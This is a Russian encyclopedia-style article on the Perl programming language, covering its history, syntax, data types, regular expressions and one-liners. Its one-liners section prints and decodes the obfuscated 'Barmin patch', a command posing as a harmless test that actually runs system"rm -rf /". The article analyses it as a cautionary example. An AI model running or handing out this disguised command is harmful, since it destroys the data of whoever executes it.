Семантика: |
мультипарадигменный: императивный, объектно-ориентированный, функциональный |
---|---|
Тип исполнения: |
интерпретатор |
Появился в: |
1987 |
Автор(ы): | |
Расширение файлов: |
.pl, .pm, .cgi |
Релиз: | |
Типизация данных: | |
Испытал влияние: | |
Повлиял на: |
Perl — высокоуровневый интерпретируемый динамический язык программирования общего назначения, созданный Ларри Уоллом, лингвистом по образованию. Название языка представляет собой аббревиатуру, которая расшифровывается как Practical Extraction and Report Language — «практический язык для извлечения данных и составления отчётов»[1]. Первоначально аббревиатура состояла из пяти символов и в таком виде в точности совпадала с английским словом pearl («жемчужина»). Но затем стало известно, что такой язык существует (см. PEARL (англ.)), и букву «a» убрали. Талисманом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжёлую работу.
Основной особенностью языка считаются его богатые возможности для работы с текстом, в том числе работа с регулярными выражениями, встроенная в синтаксис. Перл унаследовал много свойств от языков Си, AWK, скриптовых языков командных оболочек UNIX.
Perl также знаменит огромной коллекцией http://www.cpan.org.
Содержание |
Ларри Уолл начал разработку Perl в 1987 году, когда работал программистом в Unisys[2]. Версия 1.0 была выпущена и анонсирована в новостной группе comp.sources.misc 18 декабря 1987 года[3] как «„замена“ для awk и sed».
Perl 2 был выпущен в 1988 году. Основным нововведением в нём был переработаный механизм регулярных выражений. Perl 3, выпущенный в 1989 году, получил возможность обрабатывать потоки двоичных данных.
Изначально, единственной документацией для Perl была единственная (огромной длины) man-страница. В 1991 году была выпущена книга «Programming Perl» (известная многим программистам как «Верблюжья книга» (Camel Book) из-за изображения на обложке), которая, де-факто, стала стандартом языка. В то же самое время, версия языка была «поднята» до 4 — не столько, чтобы указать на значительные изменения, сколько, чтобы обозначить, что эта версия языка документирована книгой.
Perl 4 прошёл через серию релизов, остановившись на Perl 4.036 в 1993 году. В этот момент, Ларри Уолл забросил Perl 4 и начал работу над Perl 5. Разработка Perl 5 была начата в 1994 году. В то же время был создан список рассылки perl5-porters для координации работы над портированием Perl 5 на различные платформы. Он до сих пор остаётся основным форумом по разработке, обслуживанию и портированию Perl 5[4].
Perl 5.000 был выпущен 17 октября 1994 года.[5] Он включал в себя полностью переписанный интерпретатор, а также много новых языковых возможностей, таких, как объекты, ссылки, локальные переменные (my $var_name) и модули. Особенно важной частью были модули, так как они предоставили механизм расширения языка без модифицирования интерпретатора. Это позволило стабилизировать интерпретатор, но при этом, дало возможность обычным Perl-программистам добавлять в язык новые возможности. Perl 5 находится в активной разработке по сей день.
Perl 5.001 был выпущен 13 марта 1995 года. Perl 5.002 увидел свет 29 февраля 1996 года с новой поддержкой прототипов. Это позволило авторам модулей создавать функции, которые вели себя так же, как и встроенные функции Perl. Версия Perl 5.003 появилась 25 июня 1996 и устраняла обнаружившиеся проблемы с безопасностью.
Одно из важнейших событий в истории Perl 5 случилось за пределами собственно языка и было следствием поддержки модулей. 26 октября 1995 года начала свою работу CPAN (Comprehensive Perl Archive Network — «всеобъемлющая сеть архивов Perl»), которая стала репозиторием модулей Perl, а также исходного кода самого языка. На данный момент сеть насчитывает более 20 000 модулей, созданных более чем 8 000 программистов[6].
Perl 5.004 был выпущен 15 мая 1997 года и содержал, кроме всего прочего, пакет UNIVERSAL, который давал языку основной объект, от которого автоматически происходили все классы. Была также включена возможность запрашивать версию модулей. В дополнение к этому Perl стал поддерживать Microsoft Windows, а также ряд других операционных систем.
Perl 5.005 увидел свет 22 июня 1998 года. Этот релиз включал в себя несколько улучшений процессора регулярных выражений, новые перехваты в бэкенд с помощью модулей B::*
, оператор кавычек qr//
для регулярных выражений, большой выбор других новых модулей, а также поддержку ряда операционных систем, в частности, BeOS.
Perl 5.6 был выпущен 22 марта 2000 года. Главные изменения включали поддержку 64-битных систем, представление строк в стандарте Юникод, поддержку больших файлов (файлы больше 2 Гб) и ключевое слово «our»[7][8]. Во время разработки Perl 5.6 было принято решение изменить схему наименования версий на более близкую к другим проектам с открытым исходным кодом. За версией 5.005_63 следовала версия 5.5.640; согласно плану, версиям в разработке должны были присваиватся нечётные номера, стабильным версиям — чётные.
В 2000 году Ларри Уолл выступил с призывом к сообществу активно обсуждать предложения к следующей версии Perl. Результатом этого обсуждения стал 361 документ RFC (Request for Comments — «запрос комментариев»), которые были использованы в разработке Perl 6. В 2001 году[9] была начата работа над финальным документом, подводящим итог предложениям к созданию нового поколения Perl. Результат был представлен не в виде формального документа, а в качестве дайджеста всех RFC. К этому времени Perl 6 существовал исключительно в виде описания языка.
Perl 5.8 был впервые выпущен 18 июля 2002 года и с этого момента получал ежегодное обновление. Последняя версия Perl 5.8 — 5.8.9 увидела свет 14 декабря 2008 года. Perl 5.8 улучшал поддержку Юникода, добавлял новую реализацию ввода/вывода, добавлял поддержку многопоточности, увеличивал числовую точность и добавлял несколько новых модулей[10].
В 2004 году началась работа над Cинопсисом (Synopsis) — первоначально задумавшимся как ряд документов, подводящих итоги финального документа, упоминавшегося выше. Однако постепенно этот ряд документов и стал спецификацией Perl 6. В феврале 2005 года Audrey Tang начал работу над Pugs[11] — интерпретатором Perl 6, написанном на Haskell[12]. Это было первой настоящей попыткой воплотить Perl 6 в реальность. Эта попытка заглохла в 2006 году.
18 декабря 2007 года, в день 20-летней годовщины Perl 1.0, была выпущена версия Perl 5.10.0. Эта версия содержала в себе ряд заметных нововведений, приближающих её к Perl 6. Одними из таких нововведений стали новые операторы switch (названных «given»/«when»), обновление регулярных выражений, а также «умный» оператор совпадения «~~»[13][14].
Примерно в это же время всерьёз началась разработка новой реализации Perl 6, известной как Rakudo Perl [15], разработанной в тандеме с виртуальной машиной Parrot. C ноября 2009 Rakudo Perl регулярно обновляется каждый месяц и является на данный момент самой полной реализацией Perl 6.
Значительное изменение процесса разработки Perl 5 произошло после появления Perl 5.11. Сообщество разработчиков перешло на ежемесячный цикл релизов, с планированием даты релиза на три месяца вперёд.
12 апреля 2010 года Perl 5.12.0 был представлен публике. Выдающиеся нововведения включают в себя поддержку нового синтаксиса package NAME VERSION, оператор Yada Yada (служащего для маркировки кода-заполнителя, который ещё не реализован), полное решение Проблемы 2038 года (Y2038), перегрузку операторов регулярных выражений, поддержку DTrace (фреймворка динамической трассировки), а также полную поддержку стандарта Unicode 5.2[16]. 7 сентября 2010 года был выпущен Perl 5.12.2. Этот релиз содержит обновление модулей, а также некоторые изменения в документации[17].
С 2000 года идет разработка новой (6-й) версии языка. В отличие от предыдущих версий, разработчики планируют создать четко определенный стандарт языка. В настоящее время существуют экспериментальные компиляторы perl6.ru.
Perl — язык программирования общего назначения, который был первоначально создан для манипуляций с текстом, но на данный момент используется для выполнения широкого спектра задач, включая системное администрирование, веб-разработку, сетевое программирование, игры, биоинформатику, разработку графических пользовательских интерфейсов.
Язык можно охарактеризовать скорее как практичный (лёгкость в использовании, эффективность, полнота), чем красивый (элегантность, минималистичность)[18]. Главными достоинствами языка являются поддержка различных парадигм (процедурный, объектно-ориентированный и функциональный стили программирования), контроль за памятью (без сборщика мусора, основанного на циклах), встроенная поддержка обработки текста, а также большая коллекция модулей сторонних разработчиков.
Согласно Ларри Уоллу, у Perl есть два девиза. Первый — «Есть больше одного способа это сделать» («There’s more than one way to do it»), известный также под аббревиатурой TMTOWTDI. Второй слоган — «Простые вещи должны оставаться простыми, а сложные — стать выполнимыми» («Easy things should be easy and hard things should be possible»).
Общая структура Perl в общих чертах ведёт своё начало от языка Си. Perl — процедурный по своей природе, имеет переменные, выражения присваивания, блоки кода, отделяемые фигурными скобками, управляющие структуры и функции.
Perl также заимствует ряд свойств из языков программирования командных оболочек UNIX. Все переменные маркируются ведущими знаками, которые точно выражают тип данных переменной в этом контексте (например, скаляр, массив, хеш). Важно, что эти знаки позволяют переменным быть интерполированным в строках. Perl обладает множеством встроенных функций, которые обеспечивают инструментарий, часто используемый для программирования оболочки, например сортировку или вызов системных служб.
Perl заимствует массивы из Lisp, регулярные выражения из AWK и sed, из AWK также позаимствованы хеши («ассоциативные массивы»). Регулярные выражения облегчают выполнение многих задач по парсингу, обработке текста и манипуляций с данными.
Perl 5 добавил поддержку сложных типов данных, первоклассных функций (замыкание как значение) и объектную модель. В последнюю входят ссылки, пакеты, выполнение методов от класса, переменные с лексическим объявлением области видимости, а также директивы компилятору (например, strict
). Главнейшим усовершенствованием, представленным в Perl 5, стала возможность помещать код в «пакеты» (package) в качестве модулей для повторного использования. Ларри Уолл позже заметил, что «Весь замысел модульной системы Perl 5 сводился к поощрению роста культуры Perl, а не строчек кода»[19].
Все версии Perl выполняют автоматическую типизацию данных и автоматический контроль над памятью. Интерпретатор знает тип и запросы памяти каждого объекта программы, он распределяет и освобождает память, производя подсчёт ссылок. Перевод одного типа данных в другой — например, числа в строку — происходит автоматически во время исполнения, невозможные для выполнения переводы типов данных приводят к фатальной ошибке.
Синтаксис Perl имеет много общего с синтаксисом языков Си, AWK, sed и Bourne shell.
Первая строка исходного кода может начинаться с «#!/Путь/к/Perl [-ключи]» — что указывает системе путь к интерпретатору Perl для выполнения программы в UNIX системах и выполнения их на веб-сервере. Изначально обработка такой строки — это функция shell, но Perl при выполнении программы также проверяет эту строку и читает из неё ключи, игнорируя путь к интерпретатору.
Простейшая программа «Hello, world!» выглядит следующим образом:
#!/usr/bin/perl print "Hello, world!\n";
либо для CGI:
#!/usr/bin/perl print "Content-type: text/html\n\n"; print "Hello, world!";
либо используя один из post modern web-framework
use Mojolicious::Lite; get '/' => {text => 'Hello World!'}; app->start;
либо используя PSGI спецификацию
my $app = sub { return [200, ['Content-Type' => 'text/plain'], ["hello, world\n"]]; }
Дозапись в строку.
$x = 5; $x .= 0; print $x; #50
А вот так можно напечатать число гугол.
print 1, 0 x 100;
Основные типы данных: указание на файл, запись таблицы символов. Переменные разных типов отличаются знаком, который стоит перед именем переменной:
Тип | Символ | Пример | Описание |
---|---|---|---|
Скаляр | $ | $foo | единичное значение; может быть числом, строкой, указанием на файл, а также ссылкой. |
Массив | @ | @foo | Упорядоченная коллекция скаляров. |
Хеш-таблица | % | %foo | Коллекция из пар строка-скаляр; строки называются ключами, а скаляры — значениями. Синоним — ассоциативный массив. |
Файловый дескриптор | < > | $foo или FOO | Представление открытого файла или другой цели, открытой для чтения и/или записи. |
Функция | & | &foo | Отрезок кода, который принимает аргументы, исполняет действия и возвращает значения. |
Запись таблицы символов | * | *foo | Запись таблицы символов для всех типов с именем 'foo'. |
$x = 10; # число $y = $x + 1; # используем $x как число… $z = $x . 'string'; # … а теперь — как строку $ref = \$x; # $ref является указателем на $x $$ref = 10; # $x содержит значение 10
Строковые данные должны быть помещены в кавычки. Perl использует два вида кавычек — одиночные и двойные. Помещение строки в двойные кавычки позволяет именам переменных, содержащимся в строке, автоматически заменить собою название переменных. Заключение строк в одиночные кавычки предотвращает такое поведение:
## Пример интерполяции переменных в двойных кавычках $pi = 3.141592654; $var1 = 'Значение Pi - $pi\n'; print $var1; # Значение Pi - $pi\n $var2 = "Значение Pi - $pi\n"; print $var2; # Значение Pi - 3.141592654
Для включения двойных кавычек в строку, которая была помещена в двойные кавычки, следует использовать отмену знака — \". Для включения одинарных кавычек в строку из ординарных кавычек — \'. Для удобства работы со строками содержащими много знаков кавычек внутри, Perl позволяет использовать альтернативные способы закавычивания. Альтернативная форма использует любую пару знаков, помещённых после буквы q (имитирует поведение одинарных кавычек) или qq (имитирует поведение двойных кавычек):
## Пример использования альтернативных кавычек $pi = 3.141592654; $link1 = q{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>}; print $link1; # <a href="http://ru.wikipedia.org/wiki/Pi">$pi</a> $link2 = qq{<a href="http://ru.wikipedia.org/wiki/Pi">$pi</a>}; print $link2; # <a href="http://ru.wikipedia.org/wiki/Pi">3.141592654</a>
Ещё один тип кавычек в Perl — обратные кавычки. В них помещаются программы операционной системы, вывод которых может быть передан интерпретатору Perl. Выполнение программ всегда заканчиваются символом новой строки — \n:
## Пример использования обратных кавычек для исполнения команд UNIX $space = `du -s -k /usr/local/bin`; print $space; # 6264 /usr/local/bin $sysuptime = `uptime`; print $sysuptime; # 2:24 up 1 day, 9:05, 1 user, load averages: 0.26 0.32 0.33
@array = (1,2,3,4); # записали в массив @array четыре элемента print $array[2]; # напечатать третий элемент print @array[2,3]; # напечатать третий и четвертый элемент. # Здесь используется @, так как результат операции среза массива тоже является массивом.
Хеш-таблицу можно инициализировать массивом или списком, состоящим из неограниченного числа последовательностей (ключ, значение).
%hash = ( 'cat' => 'kitten', # здесь => - это так называемая "длинная запятая", в этом примере 'dog' => 'puppy', # по функции полностью аналогичная обыкновенной ",". 'cow' => 'calf' ); print $hash{'cat'}; #Напечатает kitten print join("-", keys %hash) ; # Вывод всех ключей. Напечатает cat-dog-cow print join("-", values %hash) ; # Вывод всех значений. Напечатает kitten-puppy-calf print join("-", %hash) ; # Напечатает cat-kitten-cow-calf-dog-puppy, так как в списковом контексте хэш автоматически # разворачивается в список (ключ, значение). Так как ключи в хэше не сортируются, # пары каждый раз будут выводиться в произвольном порядке.
sub printTwo{ print 2; } sub three{ 3; } $s = \&three; print &$s; #Напечатает 3 $s = \&printTwo; # Запишем в скаляр $s ссылку на функцию - через эту ссылку она будет вызвана в следующей строке. print &$s; #Напечатает 21. `2` в коде функции, а `1` как значение, возвращаемое функцией printTwo print &printTwo #То же самое
use constant MY => 2; print MY;
Использование:
$s = <STDIN>; #Читаем одну строку из дескриптора STDIN (стандартный поток ввода); скалярный контекст. @values = <FILE>; #Читаем все строчки из некоторого открытого и связанного с дескриптором FILE файла; списковый контекст. print STDOUT $s; #Печатаем в STDOUT (стандартный поток вывода)
В последних версиях Perl появилась возможность хранить файловые дескрипторы в скалярах, и в новых программах предпочтительно пользоваться именно этим способом.
Также таблицы символов используются для связи двух имён переменной с одним значением в памяти, создавая синонимы, которые могут быть использованы для доступа и модификации значения точно также как и оригинальное имя. Эта возможность является основой системы загружаемых модулей, классов и объектов в Perl.
Объект в Perl представляет собой просто ссылку, но не любую, а связанную с определенным классом(пакетом). Для связи используется функция bless. Методы в Perl являются обычными подпрограммами. Конструктор — это просто подпрограмма, возвращающая ссылку.
Так же существуют множество расширения для системы ООП, позволяющие менять до неузнаваемости синтаксис и использовать новый «синтаксический сахар», в числе которых стоит назвать cpan-модули Moose и/или Mouse, MooseX::Declare. Moose используется многими проектами и крупными компаниями, такими как BBC или Cisco[20].
Важной частью Perl являются регулярные выражения. Благодаря этому Perl хорошо подходит для обработки текстов. Бо́льшая часть работы с регулярными выражениями производится при помощи операторов =~
, m//
и s///
.
Оператор m//
используется для проверки на совпадение. В простейшем случае результат выражения $x =~ m/abc/
будет истинным, если и только если строка $x
будет соответствовать регулярному выражению abc
. Например:
Пример | Значение |
---|---|
$x =~ /abc/ |
Строка $x содержит (под)строку «abc». Начальная буква «m» оператора при использовании // может быть опущена. |
$x =~ m/a(.{1,3})c/ |
Строка $x содержит букву «a», затем от одного до трех любых символов кроме символа перевода строки «\n», и затем букву «c». Найденные символы будут сохранены в переменную $1 . |
$x =~ m{^p(erl|ugs)$}i |
Строка $x строго равна «perl» или «pugs» без учета регистра. Так же, вместо // регулярное выражение окружено в {} . |
Поиск и замена выполняются при помощи оператора s///
. Конструкция $x =~ s/abc/def/;
заменит первое вхождение регулярного выражения abc
на строку def
.
Пример | Значение |
---|---|
$x =~ s/abc/def/g; |
Все вхождения (на что указывает флаг /g — global) подстроки «abc» в $x будут заменены на «def». |
$x =~ s/a(.{1,3})c/!$1!/; |
Первое вхождение в $x буквы «a», затем от одного до трех любых символов кроме символа перевода строки «\n», и затем буквы «c» будет заменено на эти символы между «a» и «c», окружённые «!». Например, «syntactic» станет «synt!cti!». |
$x =~ s{^p(erl|ugs)}{"P" . lc $1}ieg; |
Здесь показан пример использования модификатора /e , указывающего на то, что вместо строки замены будет написан код, результат выполнения которого надо использовать. Все вхождения «perl» или «pugs» в любом регистре будут заменены на «Perl» и «Pugs», соответственно. |
С появлением динамических регулярных выражений (??{ код Perl })
и конструкции для включения в регулярное выражение исполняемого кода Perl (?{ код Perl })
возможности по поиску и замене стали практически безграничными. К примеру, стал возможен поиск конструкций произвольного уровня вложенности.
Регулярные выражения Perl настолько популярны, что они включены напрямую в другие языки, такие как PHP и JavaScript, а также существуют подключаемые библиотеки, реализующие использование выражений в компилируемых языках.
Интересной и часто используемой возможностью Perl являются так называемые one-liners — программы из одной строки, обычно задаваемые прямо в строке вызова интерпретатора с помощью ключа -e.
Эта программа напечатает простые числа:
perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'
Этот пример напечатает только уникальные строки файла file, ключ -n автоматически заворачивает строку обработки в цикл, который проходит по всем строкам в файлах, указанных после текста программы:
perl -ne '$s{$_}++ || print' file
Примечание: для запуска предыдущей команды под Windows замените в ней апострофы ' на двойные кавычки ".
В этих примерах Perl напоминает своей краткостью и непонятностью с первого взгляда язык J.
Также одним из подобных примеров является вызвавшая большой резонанс программа,[21] на самом деле являющаяся патчем Бармина (замаскированной командой рекурсивного удаления всех файлов):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..."
выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ; s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.
Perl — далеко не единственный язык, дающий богатые возможности в обработке текста. Языки программирования РЕФАЛ, Icon и Снобол предоставляют возможность использовать более полно метод программирования «сопоставления с образцом», частным случаем которого и являются регулярные выражения.
Существует также полноценный шелл, использующий в качестве основы язык Perl. Называется он psh и даёт возможность смешивать команды обычного шелла и самого Perl’а[22].
На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5.
BEFOREHEAD: close door, each window & exit; wait until time. open spellbook, study, read (scan, select, tell us); write it, print the hex whole each watches, reverse its length, write again; kill spiders, pop them, chop, split, kill them. unlink arms, shift, wait & listen (listening, wait), sort the flock (then, warn the "goats" & kill the "sheep"); kill them, dump qualms, shift moralities, values aside, each one; die sheep! die to reverse the system you accept (reject, respect); next step, kill next sacrifice, each sacrifice, wait, redo ritual until "all the spirits are pleased"; do it ("as they say"). do it(*everyone***must***participate***in***forbidden**s*e*x*). return last victim; package body; exit crypt (time, times & "half a time") & close it, select (quickly) & warn your next victim; AFTERWORDS: tell nobody, wait, wait until time; wait until next year, next decade; sleep, sleep, die yourself, die at last
Perl | |
---|---|
Люди | Ларри Уолл • Рэндел Шварц • Дэмиэн Конуэй • Эллисон Рэндел • Audrey Tang • Simon Cozens • Шон Берк • chromatic • Адам Кеннеди • brian d foy • Mark Jason Dominus |
Things | The Perl Foundation • Perl Mongers • PerlMonks • архивы • модули • Perl VM • Parrot • YAPC • Bioperl • Plack • PSGI |
Фреймворки | Catalyst • Mason • Maypole • Dancer • Moose • Mojolicious |
Outline • Категория |
Основные языки программирования (сравнение • IDE • история • хронология) | |
---|---|
Используемые в разработке |
Ада • APL • Язык ассемблера • ActionScript • ABAP/4 • AutoIt • AWK • Бейсик • Си • Кобол • C++ • C# • Cω • Clarion • Clojure • ColdFusion • Common Lisp • D • dBase • Delphi • Eiffel • Erlang • Euphoria • F# • Форт • Фортран • Gambas • Go • Groovy • HAL/S • Haskell • Icon • Java • JavaScript • Limbo • Lua • Модула-3 • Object Pascal • Objective-C • OCaml • Oz • Parser • Паскаль • Компонентный Паскаль • Perl • PHP • PowerBASIC • Python • ПЛ/1 • Пролог • Ruby • Scala • Scheme • Smalltalk • SQL • PL/SQL • Tcl • Vala • Visual Basic (.NET) |
Академические | |
IEC 61131-3 |
Instruction List • ST • FBD • Ladder Diagram (LD) • SFC |
Прочие | |
Эзотерические | |
Визуальные |
Свободное и открытое программное обеспечение | |
---|---|
Главное | |
История |
GNU • Linux • Mozilla (Application Suite • Firefox • Thunderbird) |
Организации |
ASF • AOSP • Blender Foundation • Eclipse Foundation • FreeBSD Foundation • freedesktop.org • FSF • FSMI • GNOME Foundation • Проект GNU • Google Code • KDE e.V. • Linux Foundation • Mozilla Foundation • OSGF • OSI • ReactOS Foundation • Software Freedom Conservancy • SourceForge • Symbian Foundation • The Document Foundation • Xiph.Org • XMPP Standards Foundation • X.Org Foundation |
Лицензии |
Apache • Artistic • Beerware • BSD • GNU GPL • GNU LGPL • ISC • MIT • MPL • Ms-PL/RL • zlib • Public domain / CC0 • WTFPL • Лицензии, одобренные FSF • Пермиссивные лицензии • Разнообразие лицензий |
Проблемы | |
Прочее |
Perl.